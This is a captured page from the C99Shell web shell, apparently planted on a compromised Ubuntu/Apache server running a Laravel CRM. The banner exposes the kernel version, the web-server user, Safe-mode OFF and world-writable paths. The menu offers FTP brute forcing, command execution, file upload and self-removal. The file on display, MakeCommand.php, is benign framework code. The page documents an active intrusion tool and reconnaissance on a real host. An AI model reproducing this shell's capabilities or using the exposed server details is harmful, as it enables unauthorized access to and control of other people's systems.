!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/krayin/krayin-package-generator/src/Console/Command/   drwxrwxrwx
Free 12.99 GB of 57.97 GB (22.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MakeCommand.php (3.71 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\PackageGenerator\Console\Command;

use 
Illuminate\Console\Command;
use 
Illuminate\Contracts\Console\PromptsForMissingInput;
use 
Illuminate\Filesystem\Filesystem;
use 
Webkul\PackageGenerator\Generators\PackageGenerator;

class 
MakeCommand extends Command implements PromptsForMissingInput
{
    
/**
     * The type of class being generated.
     *
     * @var string
     */
    
protected $type;

    
/**
     * Create a new command instance.
     *
     * @return void
     */
    
public function __construct(
        protected 
Filesystem $filesystem,
        protected 
PackageGenerator $packageGenerator
    
) {
        
parent::__construct();

        
$this->filesystem $filesystem;

        
$this->packageGenerator $packageGenerator;
    }

    
/**
     * Execute the console command.
     */
    
public function handle()
    {
        
$path $this->getSourceFilePath();

        if (! 
$this->filesystem->isDirectory($dir dirname($path))) {
            
$this->filesystem->makeDirectory($dir0777true);
        }

        
$contents $this->getStubContents();

        if (! 
$this->filesystem->exists($path)) {
            
$this->filesystem->put($path$contents);
        } else {
            if (
$this->option('force')) {
                
$this->filesystem->put($path$contents);
            } else {
                
$this->components->error(sprintf('%s [%s] already exists.'$this->type$path));

                return;
            }
        }

        
$this->components->info(sprintf('%s [%s] created successfully.'$this->type$path));
    }

    
/**
     * Get name in studly case.
     */
    
public function getStudlyName(): string
    
{
        return 
class_basename($this->argument('package'));
    }

    
/**
     * Get name in lower case.
     */
    
protected function getLowerName(): string
    
{
        return 
strtolower($this->getStudlyName());
    }

    
/**
     * Get the class name.
     */
    
protected function getClassName(): string
    
{
        return 
class_basename($this->argument('name'));
    }

    
/**
     * Get the class namespace.
     */
    
protected function getClassNamespace(string $name): array|string
    
{
        return 
str_replace('/''\\'$name);
    }

    
/**
     * Prompt for missing input arguments using the returned questions.
     */
    
protected function promptForMissingArgumentsUsing(): array
    {
        return [
            
'name' => [
                
'What should the '.strtolower($this->type).' be named?',
                match (
$this->type) {
                    
'Console command' => 'E.g. SendEmails',
                    
'Controller'      => 'E.g. UserController',
                    
'Datagrid'        => 'E.g. ProductDatagrid',
                    
'Event'           => 'E.g. PodcastProcessed',
                    
'Listener'        => 'E.g. SendPodcastNotification',
                    
'Mailable'        => 'E.g. OrderShipped',
                    
'Middleware'      => 'E.g. EnsureTokenIsValid',
                    
'Migration'       => 'E.g. create_flights_table',
                    
'Model'           => 'E.g. Flight',
                    
'Model Proxy'     => 'E.g. FlightProxy',
                    
'Contract'        => 'E.g. Flight',
                    
'Module Provider' => 'E.g. ModuleServiceProvider',
                    
'Provider'        => 'E.g. ElasticServiceProvider',
                    
'Notification'    => 'E.g. InvoicePaid',
                    
'Repository'      => 'E.g. UserRepository',
                    
'Request'         => 'E.g. StorePodcastRequest',
                    
'Route'           => 'E.g. web',
                    
'Seeder'          => 'E.g. UserSeeder',
                    default           => 
'',
                },
            ],
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--